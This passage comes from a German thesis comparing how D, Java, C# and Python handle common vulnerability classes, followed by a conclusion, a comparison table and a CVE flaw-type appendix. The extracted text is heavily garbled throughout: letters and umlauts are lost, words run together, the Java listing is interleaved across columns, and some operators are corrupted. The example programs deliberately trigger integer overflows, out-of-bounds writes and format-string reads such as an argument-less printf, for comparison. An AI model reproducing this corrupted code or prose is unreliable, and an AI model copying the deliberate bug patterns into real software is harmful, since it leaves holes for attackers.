ist in Listing B, Beispiel 8 zu sehen.

3.2 D

D ist eine von Walter Bright entwickelte und hauptschlich an C++ orientierte Program-
miersprache, deren Entwicklung im Jahr 2000 begonnen hat didie 2007 in der Version
1.0 erschienen ist. Ds Ziel ist es, die E ektivit von C und C++ mit der Produktivit at
von Sprachen wie Python oder Ruby zu vereinen. Um dieses Zml erreichen, wurde
unter anderem auf Abvartskompatibilit &t mit C verzichtet und die Sprache um diver-
se Eigenschaften erweitert, die nicht in C++ vorhanden sindZu diesen Eigenschaften
zahlen zum Beispiel die Untersitzung von Design by Contractund optionale Garbage
Collection. Fur weitere Informationen nechte ich auf die o zielle Dokumentation der
Programmiersprache verweisen|Digb].

In den folgenden Listingd—3]13 und—=3l14 ethte ich zeigen, wie D mit den bekannten
Fehlerklassen umgeht. Ich habeuf diese Beispiele den CompilegddFri] in Version 4.1.3
verwendet.

Integer wberl aufe, Absolute Integer-Darstellung, Integer Conversion, Usual
Arithmetic Conversion D ist, genauso wie C und C++, angllig fur diese Fehlerklas-
sen.

Puer wberl aufe D Compiler fugen beim Zugri auf Felder Sicherheitsabfragen in den
generierten Code ein. Durch diese werden Pu eberlaufe verhindert und zusitzlich durch
Exceptions sichtbar gemacht.

Formatstring-Angri e Die D Standard-Ausgabe-Funktionwritefln untersteitzt For-
matstrings, unterbindet deren Missbrauch aber. Zwar sind €ormatstring-Funktionen wie
printt  verfagbar, allerdings besteht kaum Bedarfefr diese.

52 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 3. ANDERE KOMPILIERTE SPRACHEN

example.d
import std.stdio;
void main() {

int i
uint ui;

/I #1 Integeroverflows
i = 2147483647 + 1;

writefln("#1\tMost positive number +1: ", i);

/I #2 Absolute Integer Values
i = -2147483648;
i ox= -1

writefln("#2\tinverted most negative number: ", i);

/I #3 Integer Conversion
i=-1;
ui = i;

writefln("#3\t-1 as unsigned integer: ", ui);

/I #4 Usual Arithmetic Conversion

i=-2;
ui = 1,
ui = i + ui;
writefln("#4\tOperations on Integers of different types: " ui);
/I #5 Bufferoverflows
int  buf[5];
try {
i = 20;
buf[i] = 1;
} catch (Exception e) {
writefln("#5\tBufferoverflows cause Exceptions:\n\t", e.msg);
}
/I #6 Formatstring attacks
try {
writefln("#6\tFormatstring: %08x %08x %08x\n", 1, 2);
} catch (Exception e) {
writefln("\n\tFormatstring attacks cause Exceptions:\n \t", e.msg);
}
printf("#6b\UtCs printf is available: %08x %08x %08x\n");
/I #7 Attacks on the dynamic memory management are prevented , however

1 a demonstration would be too complex to present here

/I #8 Methods for common operations are present
writefln("#8\tMethods for common operations");

foreach(value; buf) {
writefln("\t%d", value);
}

Listing 3.3: Fehlerklassen am Beispiel von D
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example.d.txt

#1 Most positive number +1: -2147483648
#2 Inverted most negative number: -2147483648
#3 -1 as unsigned integer: 4294967295
#4 Operations on Integers of different types: 4294967295
#5 Bufferoverflows cause Exceptions:
ArrayBoundsError example.d(36)
#6 Formatstring: 00000001 00000002
Formatstring attacks cause Exceptions:
std.format
#6b Cs printf is available: 89ecl17a0 89ec2980 89ecl7al
#8 Methods for common operations

[eNeoNoNoNe]

Listing 3.4: Fehlerklassen am Beispiel von D (Ausgabe)

Dynamische Speicherverwaltung Die D Funktionen new und delete sind resistent
gegen alle mir bekannten Angri stechniken.

Allt agliche Aufgaben D bietet fur viele alltagliche Aufgaben vorgefertigte Methoden.
Diese sind in der Regel leicht zu bedienen und sind dank eidf@r Syntax ebenfalls leicht
zu lesen, was die Suche nach Programmierfehlern deutlicheghtert.
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4 Interpretierte Sprachen

In diesem Kapitel mechte ich die interpretierten Sprachen Java, C# und Python le-
handeln. Unterintepretiert verstehe ich hierbei sowohl die Aughrung in einer sogenann-
ten virtuellen Maschine (Java, C#) als auch Sprachen, die voeinem Bytecode-Interpreter
(Python) ausgetkihrt werden oder direkt zur Laufzeit interpretiert werden.Zu den Be-
sonderheiten dieser interpretierten Spracherahlen die vergleichsweise hohe édhtigkeit
einzelner Ausdeicke, Plattformunabhangigkeit, sowie eine relativ geringe Geschwindkeit
im Verhaltnis zu kompilierten Sprachen. Zustzlich muss ervehnt werden, dass durch die
erhehte Machtigkeit der Sprache die Zeilenanzahl eines Programmgueiert wird und
damit auch die Fehleranzahl. Es muss allerdings auch beaehtverden, dass man bei in-
terpretierten Sprachen nicht nur das eigene Programm auwsirt, sondern auch einen unter
Umstanden sehr gro en Interpreter, der Angreifern raglicherweise weitere Angri s &che
bietet.

4.1 Java

Java ist eine von Sun Microsystems entwickelte Programmaprache, die erstmals 1995
vere entlicht wurde, ihre Urspreinge allerdings in der seit 1991 entwickelten Sprache Oak
hat. Eines der wichtigsten Ziele von Java war es, eine platifimunabhangige Alternative
zu C++ zu scha en, die gleichzeitigmbersichtlicher, robuster und sicherer sein sollte. Dies
wird unter anderem durch die virtuelle Maschine, die eingelute Garbage Collection und
das Erzwingen eines objektorientierten Programmaufbausreicht. Zusatzlich ermeglicht
es die virtuellen Maschine Javas auch andere Sprachen adshuen, welche dem Program-
mierer in der Regel mehr Arbeit abnehmen und zaszliche Freiheiten bieten. Bekannte
Beispiele #r solche Sprachen sind Groovy[Laf] und JRuky[NEBS]. eF weitere Hinter-
grundinformationen mechte ich auf\Java Technology: The Early Years/]ByoO3] vaveisen.

Integer wberl aufe, Absolute Integer-Darstellung Java ist genau wie die bereits vor-
gestellten kompilierten Sprachenefr diese Fehlerklassen aaflig.

Integer Conversion Java ist mangels vorzeichenbehafteter Datentypen aussesislich
fur Truncation-Fehler anfallig. Da der Java-Bytecode-Compiler allerdings keine inip
ziten Typenumwandlungen erlaubt und so eine absichtlichexplizite Typumwandlung
erfordert, ist die Gefahr dieser Fehlerklasse stark redzt.
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Example.java Il #5 Bufferoverflows
. . i int  buf] = new int [10];
import  java.util.Vector;
_ try |
public class Example { buf[20] = 100;
public static void main(String[] args) { } catch (Throwable t) {
!”tteQ?f N System.out.printin("#5\tBufferoverflows cause Excepti ons (int array):\n\t" + t)
int i .
short s; }
/' #1 Integeroverflows Vector<Integer> vec = new Vector<integer>();
i = 2147483647 + 1, vec.add( new Integer(1));
. " . . vec.add( new Integer(2));
System.out.printin("#1\tMost positive number +1 (native ) N vec.add( new Integer(3));
. try {
j = new Integer(2147483647) + new Integer(1); vec.set(20, new Integer(100));
. . " o N } catch (Throwable t) {
System.out.printin("#1b\tMost positive number +1 (wrapp ed): " + ) System.out.printin(*#5b\tBufferoverflows cause Except ions (int vector):\n\t" +
v
/I #2 Absolute Integer Values } )
i = -2147483648;
o= -1 /I #6 Formatstring attacks
. " . . . X try {
System.out.printin("#2\tinverted most negative number ( native): " + i); System.out.printf("#6\tFormatstring attacks cause Exce ptions: "
. + "0608x %08x %08x\n", 1, 2);
j = new Integer(-2147483648) * new Integer(-1); } catch (Throwable t) {
. . . System.out.printin("\n\t" + t);
System.out.printin("#2b\tinverted most negative number (wrapped): " + j); }
II'#3 Integerconversion . o /I #7 Attacks on the dynamic memory management are prevented , however
/I there are no unsigned types, however truncation-vulnera bilites are 1l a demonstration would be too complex to present here
/I still possible but require explicit casts
i = 100000; ) /I #8 Methods for common operations are present
s = ( short ) i; for (Integer x: vec) {
. System.out.printin("\t" + x);
System.out.printin("#3\t100000 converted to short: " + s) ) }
/I #4 Usual Arithmetic Conversion } }

/I there are no unsigned types

Listing 4.1: Fehlerklassen am Beispiel von Java

relevanter Software
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Example.java.txt

#1 Most positive number +1 (native): -2147483648

#1b Most positive number +1 (wrapped): -2147483648

#2 Inverted most negative number (native): -2147483648

#2b Inverted most negative number (wrapped): -2147483648

#3 100000 converted to short: -31072

#5 Bufferoverflows cause Exceptions (int array):
java.lang.ArraylndexOutOfBoundsException: 20

#5b Bufferoverflows cause Exceptions (int vector):

java.lang.ArraylndexOutOfBoundsException: Array index out of range: 20
#6 Formatstring attacks cause Exceptions: 00000001 000000 02

java.util.MissingFormatArgumentException: Format spec ifier '08x'

1

2

3

Listing 4.2: Fehlerklassen am Beispiel von Java (Ausgabe)

Usual Arithmetic Conversion Java ist fur diese Fehlerklasse nicht amflig, da es
eiber keine vorzeichenlosen Zahlentypen vert.

Puer wberl aufe Die Java Virtual Machine fangt Grenziberschreitungen von Pu ern
zur Laufzeit ab.

Formatstring-Angri e Die Java Standard-Ausgabe-Method8ystem.out.printin
untersteitzt keine Formatstrings und ist daher auch nicht angreifba Zwar bietet Java mit
System.out.printf eine C-artigeprintf  -Methode, diese wirft bei fehlerhaften For-

matstrings jedoch eine Exception.

Dynamische Speicherverwaltung Die Java Funktionennew und delete sind resis-
tent gegen alle mir bekannten Angri stechniken.

Allt agliche Aufgaben  Java bietet fur allt agliche Aufgabe einfach zu nutzende, vorge-
fertigte Methoden.

42 C#

C# ist eine von Microsoft entwickelte objektorientierte Programmiersprache, die 2002
zusammen mit dem.NET Framework 1.0 vew® entlicht wurde. Sie orientiert sich haupt-
sachlich an Java, hat aber auch Konzepte von C++ und anderen $achenebernommen.
Die Orientierung an Java durchzieht hierbei nicht nur eindee Spracheigenschaften, son-
dern resultiert sogar in einer gewissehnlichkeit des Quelltextes und der Hierarchie
der Standardbibliotheken[RicOB]. Zu beachten ist hierbeilie deutliche Trennung zwi-
schen .NET (welches unter Linux durch das von Novell nanzitge Mono[Nov] ersetzt
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werden kann) und der Programmiersprache C#. .NET stellt dieéStandardbibliotheken in
Form der Framework Class Library (FCL) und die virtuelle Maschine in Form derCom-
mon Language Runtime(CLR) bereit. Die Programmiersprache bleibt hiervon saulve
getrennt und kann bei Bedarf auch durch andere Sprachen eewerden, wie zum Bei-
spiel IronPython[Hugd] oder BodlQli], was C#-Projekten zuatzliche Flexibilitat verleiht.

In Listing be ndet sich das C#-Beispiel fr die bereits bekannten Fehlerklassen.
Besonders zu beachten hierbei ist, dass der C#-Compiler (giesem Fall der \Mono C#
compiler” in Version 1.2.6.0) bei Angabe der Optiorchecked+ alle mathematischen
Operationen einer genaueren Rfung unterzieht (siehe ListingC4b). Diese Option ist lei-
der aus Performanzgenden nicht standardrne ig aktiviert (siehe Listing £.4)). Als granu-
larere Alternative bietet sich allerdings dashecked{...} -Statement an, welches diese
Uberprafungen nur #ir so umschlossene Btke aktiviert.

Integer wberl aufe, Absolute Integer-Darstellung C# istf wr diese Fehlerklassen an-
fallig, au er es wird die -checked+ -Option genutzt. In diesem Fall werden Exceptions
bei jeder wertverklschenden Operation erzeugt.

Integer Conversion, Usual Arithmetic Conversion C# ist f ur diese Fehlerklassen
anfallig. Da der Compiler allerdings keine impliziten Typenumwandlungen erlaubt und
so eine absichtliche, explizite Typumwandlung erforderist die Gefahr dieser Fehlerklas-
se stark reduziert. Zustzlich kennen diese Fehler auch durch diechecked+ -Option
abgefangen werden.

Puer wberl aufe Grenzberschreitungen von Pu ern werden zuveessig von der Vir-
tuellen Maschine abgefangen und durch Exceptions ausgesde.

Formatstring-Angri e C# (beziehungsweise die .NET Standard-Bibliotheken) ver-
fugen mber keine klassischen Formatstringfunktionen. Zwar gibés an C++ angelehnte

Formatierungsmethoden, allerdings sind diese sicher gagber den bekannten Angrien

und fast so nachtig wie Formatstrings.

Dynamische Speicherverwaltung Die dynamische Speicherverwaltung wird kom-
plett der Garbage Collectioneberlassen. Da Pu eerberlaufe bereits ausgeschlossen sind,
ist mir kein Weg bekannt, aus C#/.NET die Speicherverwalturgsalgorithmen anzugreifen.

Allt agliche Aufgaben  C# bietet dank der .NET Bibliotheken eine gro e Auswahl an
Optionen fur die Lesung allmglicher Probleme.
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Example.cs

using System;
using System.Collections;
using System.Collections.Generic;

Example {
static void Main() {
int i = 2147483647;
uint ui;

/I #1 Integeroverflows
try

i +=1;

System.Console.WriteLine("#1\tMost positive number +1:
} catch (Exception e) {

System.Console.WriteLine("#1\tin checked mode this caus

e);
}
/I #2 Absolute Integer Values
try {
i = -2147483648;
i ox= -1

System.Console.WriteLine("#2\tinverted most negative n
} catch (Exception e) {
System.Console.WriteLine("#2\tin checked mode this caus

e);
}
/I #3 Integerconversion
try
i=-1;
ui = (uint) i;

System.Console.WriteLine("#3\t-1 as unsigned integer:
} catch (Exception e) {
System.Console.WriteLine("#3\tin checked mode this caus

e);
}
/I #4 Usual Arithmetic Conversion
try {
i=-2;
ui = 1;

"ty

es an Exceptions:\n\t" +

umber: " + i);

es an Exceptions:\n\t" +

+ ui);

es an Exceptions:\n\t" +

Listing 4.3: Fehlerklassen

ui = (uint) i + ui;
System.Console.WriteLine("#4\tOperations on Integers o
ui);
} catch (Exception e) {
System.Console.WriteLine("#4\tin checked mode this caus

e);
}
/I #5 Bufferoverflows
int [] buf = new int [5];
try

{

buf[20] = 100;

} catch (Exception e) {
System.Console.WriteLine("#5\tBufferoverflows cause E

")

}
List<Int32> | = new List<Int32>();
. Add(1);
I.Add(2);
1.Add(3);
try {

I[20] = 100;

} catch (Exception e) {
System.Console.WriteLine("#5b\tBufferoverflows cause
"+oe)

}

/I #6 Formatstring attacks
" There are no formatstrings.

/I #7 Attacks on the dynamic memory management are prevented
" a demonstration would be too complex to present here

/I #8 Methods for common operations are present

foreach( int x in 1) {
System.Console.WriteLine("\t" + x);

}

am Beispiel von C#

f different signedness: " +

es an Exceptions:\n\t" +

xceptions (int array):\n\t

Exceptions (int list):\n\t

, however
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Example.csnocheck.txt

#1 Most positive number +1: -2147483648
#2 Inverted most negative number: -2147483648
#3 -1 as unsigned integer: 4294967295

#4 Operations on Integers of different signedness: 4294967 295
#5 Bufferoverflows cause Exceptions (int array):
System.IndexOutOfRangeException: Array index is out of ra nge.

at Example.Main () [0x00000]
#5b Bufferoverflows cause Exceptions (int list):
System.ArgumentOutOfRangeException: Argument is out of r ange.
Parameter name: index
at System.Collections.Generic.List"1[System.Int32].C heckindex (Int32 ) [0x00000]
at System.Collections.Generic.List 1[System.Int32].s et_Item (Int32 , Int32 ) [0x00000]
at Example.Main () [0x00000]
1

2
3

Listing 4.4: Fehlerklassen am Beispiel von C# (Ausgabe.e otie Compileroption
checked+ )

Example.cscheck.txt

#1 In checked mode this causes an Exceptions:
System.OverflowException: Number overflow.
at Example.Main () [0x00000]
#2 In checked mode this causes an Exceptions:
System.OverflowException: Number overflow.
at Example.Main () [0x00000]
#3 In checked mode this causes an Exceptions:
System.OverflowException: Number overflow.
at Example.Main () [0x00000]
#4 In checked mode this causes an Exceptions:
System.OverflowException: Number overflow.
at Example.Main () [0x00000]
#5 Bufferoverflows cause Exceptions (int array):
System.IndexOutOfRangeException: Array index is out of ra nge.
at Example.Main () [0x00000]
#5b Bufferoverflows cause Exceptions (int list):
System.ArgumentOutOfRangeException: Argument is out of r ange.
Parameter name: index
at System.Collections.Generic.List 1[System.Int32].C heckindex (Int32 ) [0x00000]
at System.Collections.Generic.List 1[System.Int32].s et _Item (Int32 , Int32 ) [0x00000]
at Example.Main () [0x00000]
1

2
3

Listing 4.5: Fehlerklassen am Beispiel von C# (AusgabegdeniCompileroptiorchecked+ )
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4.3 Python

Python ist eine plattformunabhangige objektorientierte Programmiersprache, die von Gui
do van Rossum entwickelt und 1991 erstmals \eentlicht wurde.

Zu den Zielen der Sprache geint es, leicht erlernbar, gut lesbar und gleichzeitig sehr
mechtig zu sein. Durch diese Eigenschaften, dynamische Typeand eine gro e Auswahl
an Bibliotheken, die dem Programmiereriberdurchschnittlich viel Arbeit abnehmen, soll
die schnelle Entwicklung von Anwendungen ereglicht werden. Fur weitere Informationen
eiber diese Sprache sthte ich auf die o zielle Python Dokumentation verweiseriPytO6]].

Im folgenden Listing[Z® nochte ich zeigen, wie Python mit den bekannten Fehlerklas-
sen umgeht. Da Python in Version 2.5.2efr keine dieser Fehlerklassen asifig ist, kann
hier auf eine detailllierte Aufschiisselung verzichtet werden.
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example.py

def main():
# #1 Integeroverflows
i = 2147483647 + 1

print  "#1\tMost positive number +1: ", i
# #2 Absolute Integer Values

i = -2147483648
i ox= -1

print  "#2\tinverted most negative number: ", i

# #3 Integer Conversion
# there are no unsigned types

# #4 Usual Arithmetic Conversion

# there are no unsigned types
# #5 Bufferoverflows
buf = [1, 2, 3]

try :
buf20] = 1
except Exception, e:

print  "#5\tBufferoverflows cause Exceptions:\n\t", e

# #6 Formatstring attacks
try :
print  "#6\tFormatstring attacks cause Exceptions:"
print ~ "%08x %08x %08x\n" % (1, 2)
except Exception, e:

print  "\t", e

# #7 Attacks on the dynamic memory management are prevented,
# however a demonstration would be too complex to present her e

# #8 Methods for common operations are present
print ~ "#8\tMethods for common operations"

for value in buf:

print  "\t", value

if __name__ == "__main__"
main()

#1 Most positive number +1: 2147483648
#2 Inverted most negative number: 2147483648
#5 Bufferoverflows cause Exceptions:
list assignment index out of range
#6 Formatstring attacks cause Exceptions:
not enough arguments for format string
#8 Methods for common operations
1
2
3

Listing 4.6: Fehlerklassen am Beispiel von Python

62 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 5. FAZIT

5 Fazit

In den vergangenen Kapiteln habe ich die prominentesten Hehklassen vorgestellt, die
sich auf Eigenschaften der jeweils verwendeten Programmsiprache zusickfehren lassen.
Daruberhinaus habe ich einert)berblick eiber die am hau gsten verwendeten Program-
miersprachen sowie deren Arfligkeit fer die vorgestellten Fehlerklassen gegeben. In Ta-
belle[21 habe ich diese Erkenntnisse noch einmal verkt zusammengefasst. Emnzend
be nden sich dem \Computer Language Benchmarks Gamg'lFFK] entnommene Daten
eiber den Ressourcenverbrauch im unteren Teil dieser Taleelind austbersichtsgenden
gra sch dargestellt in AbbildungB. Diese dienen dazu, diuntersuchten Sprachen besser
in Relation setzen zu lonnen.

In diesem Kapitel mechte ich nun nicht mehr die einzelnen Sprachen beschreiheon-
dern die Sprachen miteinander vergleichen und es so dem lresaneglichen, die richtige
Sprache #r ein Projekt im Spannungsfeld zwischen Ressourcenverbch, Entwicklungs-
zeit und Sicherheit zu vahlen.

Ausser Ressourcenverbrauch, Entwicklungszeit und Sicheit ist bei der Auswahl ei-
ner Programmiersprache immer die Eignung der Spracherfdas entsprechende Problem,
sowie die Erfahrung der Programmierer mit den zur Auswahl shenden Sprachen zu be-
achten. Zuatzlich sollte beachtet werden, dass selbst falls eine Sph& zu langsam sir
einen speziellen Anwendungsfall sein sollte, sich dieseamgel durch Einbindung einer
schnelleren Sprache umgehen lassen kann. Dies istemth nur praktikabel, wenn sich
der Geschwindigkeitsbedarf auf einzelne, isolierte Pragnmteile beschankt. Auf diese
Weise kann man die meist bhere Entwicklungsgeschwindigkeit und Sicherheit der Ign
sameren Sprache nutzen und trennt die eglicherweise unsicherere schnelle Sprache vom
direkten Zugri eines Angreifers. In C geschriebene bare Bibliotheken lassen sich zum
Beispiel durch daslava Native InterfacdLial, die .NET Platform Invocation Service§Net]
oder PythonsctypesModullvR06] einbinden.

Unter Beachtung dieses Wissens eghte ich nun eine abschlie ende Bewertung vor-
nehmen.

C bietet gro e Hardwaremahe, leidet aber unter einem Mangel an modernen Sprachele-
menten wie Iteratoren und Exceptions oder einer achtigen Standardbibliothek. Aufgrund
der vielen Anlligkeiten fur Fehlerklassen und der oft umaindlichen Vorgehensweiseuf
die sichere Ausdihrung grundlegender Operationen ist auch bei der Entwiakhg kleiner
Programme gro e Vorsicht geboten. Zwar existieren divers€ompilererweiterungen um
diese Mangel einzuschainken, allerdings erfordern diese ein bestehendes Risi&alst-
sein der Entwickler, bieten in der Regel keinen vollahdigen Schutz und reduzieren die
Ausfuhrungsgeschwindigkeit.
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Fehlerklasse Kompiliert Interpretiert

Bezeichnung CVE Anteil | C C++ D Java C# Python
Integereiberlaufe int-over ow 9.3% # #
Absolute Zahlendarstellung # #
Integerkonvertierung signedness 1.3% & Gj# #
Usual Arithmetic Conversion # Bj# #
Pu er mberlaufe buf 77.3% &6 Gj(B/#) # # # #
Formatstring-Angri e format-string  11.2% & &6 /[# | # # #
Attacken auf die dynamische Speicherverwaltung doubleefe 0.9% # # # #
| Sonstige Eigenschaften | C C++ D [Java C# Python |
Reimplementierung allaglicher Aufgaben # # # # #
Einfehrung neuer Fehlerklassen # # # #
Prozessorzeit 1.0 0.89 1.04] 1.62 2.13 15.67
Ressourcenverbrauch relativ zu C[FEK] Speicherbedarf 1.0 1.27 1.37/ 8.66 491  3.49
Quelltextgre e 1.0 1.13 0.82] 1.05 0.93 0.58

Tabelle 5.1: Die Tabelle bietet eine vereinfadteersicht der in Kapitéll Z] 3 urid 4 gewonnen Erkenntnisgehier vorgenommenen Verein-
fachungen &nnen zwar nicht die volle Tragweite der spezi schen Hdhkgen wiedergeben, allerdinggde diese auch jeden kompakten
Uberblick unraglich machen. In der Spal&ezeichnungoe nden sich die in dieser Arbeit benutzten deutschen Nadeer-ehlerklassen,
in der SpalteCVE die von der CVE genutzten Namen undAnteil die prozentuellen Anteile relativ zu der in TabElle]l.2kediereten
Fehlerklassenverteilung.

Ein in der Tabelle zeigt hierbei eine Verwundbarkeit gegenpdizi sche Fehlerklasse an, gindie Immuniat. Ein & weisst auf eine
abgeschwchte Verwundbarkeit hin. Falls mehrere Zeichen in einge Zeftauchen, liegt die Aalfligkeit zwischen den jeweiligen Werten.
Ein &/ # bezeichnet also eine vorhandene, aber vemassigbare Fehlerklasse. Sollte der genutzte Compiler &imache es eraeglichen
bestimmte Fehlerklassen zu unterbinden, dies aber niet$tdndardeinstellung sein, werden beide Varianten dun¢fi' getrennt.

Die Performanzvergleichswerte habe ich dem\ComputeruageyBenchmarks Gamea[FFKentnommen. Spezielle Kon gurationen wie der
Einsatz des GCC-Stack-Smashing-Protectors[Eto] odedwstan-Time-Compilern (wie zum Beispiel Psyca[RigPfython) wurden bei der
Messung des Ressourcenverbrauchs vesssog.

relevanter Software
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C++ lebt von seiner sehr hohen Ausfihrungsgeschwindigkeit und der Vielzahl der
Meglichkeiten, die es Programmierern bietet. Allerdings iget es an seiner eigenen Kom-
plexitat ebenso wie an der oftiberladen wirkenden Syntax und den vielen Altlasten,
die es von Cebernommen hat. C++ ist eine sehr nachtige Sprache, sollte aber nur von
erfahrenen Entwicklern in gro en Projekten eingesetzt welen.

Die Entwickler von D haben aus vielen Problemen von C und C++ glernt und die
Sprache mit vielen mitzlichen Elementen angereichert, wie zum Beispiel Desidny Con-
tract oder Garbage Collection. Leider leidet D aus Gmden der Hardwaremhe und Ge-
schwindigkeit unter einigen Fehlerklasse, verhindert dieerbreitesten aber durch Sicher-
heitsabfragen. Die Sprache hat leider eine geringe Verlitgig und eine im Vergleich zu der
Konkurrenz eher schwache Dokumentation. Obwohl dies die Aemnzeit eines Programmie-
rers erlohen mag, bleibt D eine wertvolle, sicherere Alternative zanderen kompilierten
Sprachen, vorallem da DApplication Binary Interface mit dem von C kompatibel ist
und so das Einbinden der in der einen Sprache geschriebenehliBtheken in die andere
ermeglicht[Digal.

Java bietet einen guten Kompromiss zwischen Sicherheit ug@keschwindigkeit. Die bei-
den am hau gsten beobachteten Fehlerklassen Pu ererlaufe und Formatstringangri e
werden durch Spracheigenschaften voletdig vermieden. Allerdings bleibt die Sprache
unerwarteterweise #@ir systemnahe Probleme bei der Zahlenbehandlung aflig. Zusatzlich
steht die hohe Formali®mt und Komplexitat der Bibliotheken oft einer schnellen Entwick-
lung im Wege, verlangt aber auch eine éhere Programmierdisziplin, welche wiederum
der Sicherheit zu Gute kommt. Manche dieser Probleme lasssich zwar durch Nutzung
alternativer JVM-kompatibler Programmiersprachen vermelen, leider sind diese jedoch
in den meisten Fllen deutlich weniger weit fortgeschritten und verbreiteals ihre .NET-
Konkurrenz. Aus den genannten Ganden eignet sich Java besondersirf gro e Projekte
mit vielen Entwicklern.

C# bietet sehr gute Sicherheit bei akzeptablem Ressourcesmbrauch. Zwar liegt es
in der Ausfehrungsgeschwindigkeit etwas hinter Java, dies kann aléings auf die unter
Linux verwendete Reimplementierung der CLR, Mono, zuickgekihrt werden. Die klare
Trennung zwischen Programmiersprache, Compiler und Bibliheken erlaubt es zudem,
ohne Probleme mehrere .NET-Programmiersprachen im glea Projekt zu verwenden,
was diesem eine hohe Flexibikit erlaubt. Bei der Entwicklung von C# und .NET wurden
die meisten Fehler Javas vermieden, daher ist die Sprache flie meisten Aufgabengebiete
bestens geeignet.

Python, eine Sprache, deren Compiler auf der einen Seite kawptimierten Bytecode
erzeugt und dementsprechend zu hohen Laufzeitemhft, zeichnet sich auf der anderen
Seite durch eine komplette Vermeidung der bekannten Fehkdaissen aus. Es ist allerdings
aufgrund der hohen Dynamik der Sprache nichtef jeden Anwendungsfall geeignet. Auf-
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................... i | O Prozessorzeit
Cit [ .| O Arbeitsspeichef
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Abbildung 5.1: Eine graphische Darstellung des Resseerbeauchs der Sprachen relativ zu
C|EEK"]. Aus Platzgenden kann Pythons Prozessorzeitbedarf leider nichtewotlsy darge-
stellt werden, der wie in Tabelleb.1eerert bei Faktor 18 liegt.

grund seiner Eigenschaften, von denen ich hier nur einigesgevahlte vorstellen konnte,
ist Python besonders quali ziert fir die schnelle Entwicklung sicherer Applikationen.

Nach diesen Beobachtungen gehen Python und C# als klare Sezghervor. Java ist
zwar schneller als diese Sprachen, allerdings ist dies iaée nicht ausreichend, um den
gro en Speicherverbrauch und die Ardlligkeit fur diverse Fehlerklassen auszugleichen.
Sollte der Ressourcenverbrauch von C# oder Python zu hochirfdie jeweilige Aufgaben-
stellung sein, emp ehlt sich die Nutzung kompilierter Sprahen #ir isolierte Programm-
teile.

Falls sich die performanzkritischen Teile der Anwendung ciit isolieren lassen, emp-
ehlt sich D und bei hechsten Performanzanforderungen C++. Der Einsatz von C d&
vermieden werden, da jede positive Eigenschaft der Spracngch von C++ und D geteilt
wird.
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CVE Flaw Terminology

Folgende Liste entlmlt die Aufschlusselung der CVE Softwarefehlerklasseén[CMO07]. Die
CWE-Nummern referenzieren Fehlerklassende nitionen dg&sommon Weakness Enume-
ration -Projekts|Enu].

Type: auth
CWE: CWE-289, CWE-288, CWE-302, CWE-305, CWE 294, CWE-290,
CWE-287, CWE-303
Description: Weak/bad authentication problem

Type: buf

CWE: CWE-119, CWE-120

Description: Bu er over ow

Type: CF

CWE: none

Description: General con guration problem, not perm or defult
Type: crlf

CWE: CWE-93

Description: CRLF injection

Type: crypt

CWE: CWE-310, CWE-311, CWE-347, CWE-320, CWE-325

Description: Cryptographic error (poor design or implemeation), including
plaintext storage/transmission of sensitive information

Type: CSRF

CWE: CWE-352

Description: Cross-Site Request Forgery (CSRF)

Type: default

CWE: N/A

Description: Insecure default con guration, e.g., passwds or permissions
Type: design

CWE: none

Description: Design problem, generally in protocols or pggamming languages
Since 2005, its use has been limited due to the highly genenakure
of this type.
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Type: dos- ood

CWE: CWE-400

Description: DoS caused by ooding with a large number of *ggtimately for-
matted* requests/etc.; normally DoS is a crash, or spending lot
more time on a task than it 'should'

Type: dos-malform

CWE.: CWE-238, CWE-234, CWE-166, CWE-230, many others

Description: DoS caused by malformed input

Type: dos-release

CWE: CWE-404

Description: DoS because system does not properly releassaurces

Type: dot

CWE: CWE-22, CWE-23, CWE-36

Description: Directory traversal (le access via '.." or vaiants)

Type: double-free

CWE: CWE-415

Description: Double-free vulnerability

Type: eval-inject

CWE: CWE-95

Description: Eval injection

Type: form- eld

CWE: CWE-472

Description: CGI program inherently trusts form eld that should not be modi-
ed (i.e., should be stored locally)

Type: format-string

CWE: CWE-134

Description: Format string vulnerability; user can injectformat speci ers during
string processing.

Type: infoleak

CWE: CWE-205, CWE-212, CWE-203, CWE-209, CWE-207, CWE-20(¢
CWE-215, others

Description: Information leak by a product, which is not theresult of another

vulnerability; typically by design or by producing di erent ‘answers'
that suggest the state; often related to con guration / permssions
or error reporting/handling.
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Type: int-over ow

CWE: CWE-190

Description: A numeric value can be incremented to the poinivhere it over-
ows and begins at the minimum value, with security implicatons.
Overlaps signedness errors.

Type: link

CWE: CWE-61, CWE-64

Description: Symbolic link following

Type: memleak

CWE: CWE-401

Description: Memory leak (doesn't free memory when it shod); use this instead
of dos-release

Type: metachar

CWE: CWE-78

Description: Unescaped shell metacharacters or other unmed 'special’ char's;
currently includes SQL injection but not XSS.

Type: msdos-device

CWE: CWE-67

Description: Problem due to le names with MS-DOS device nags.

Type: not-speci ed

CWE: none

Description: The CVE analyst has not assigned a aw type to th issue, typically
similar to 'other".

Type: other

CWE: none

Description: Other vulnerability; issue could not be desdred with an available
type at the time of analysis.

Type: pass

CWE: CWE-259

Description: Default or hard-coded password

Type: perm

CWE: CWE-276

Description: Assigns bad permissions, improperly calci&s permissions, or im-

properly checks permissions
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Type: php-include

CWE: CWE-98

Description: PHP remote le inclusion

Type: priv

CWE: CWE-266, CWE-274, CWE-272, CWE-250, CWE-264, CWE-265
CWE-268, CWE-270, CWE-271, CWE-269, CWE-267

Description: Bad privilege assignment, or privileged pr@ss/action is unprotec-
ted/unauthenticated.

Type: race

CWE: CWE-362, CWE-366, CWE-364, CWE-367, CWE-421, CWE-368
CWE-363, CWE-370

Description: General race condition (NOT SYMBOLIC LINK FOLLOWING
(link)")

Type: rand

CWE: CWE-330, CWE-331, CWE-332, CWE-338, CWE-342, CWE-341
CWE-339, others

Description: Generation of insu ciently random numbers, tpically by using ea-
sily guessable sources of ‘random' data

Type: relpath

CWE: CWE-426, CWE-428, CWE-114

Description: Untrusted search path vulnerability - Relieon search paths to nd
other executable programs or les, opening up to Trojan hoesat-
tacks, e.g., PATH environment variable in Unix.

Type: sandbox

CWE: CWE-265

Description: Java/etc. sandbox escape - NOT BY DOT-DOT!

Type: signedness

CWE: CWE-195, CWE-196

Description: Signedness error; a numeric value in one fortfrapresentation is
improperly handled when it is used as if it were another forntée-
presentation. Overlaps integer over ows and array index eors.

Type: spoof

CWE: CWE-290, CWE-350, CWE-347, CWE-345, CWE-247, CWE-292

CWE-291
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Description: Product is vulnerable to spoo ng attacks, geerally by not properly
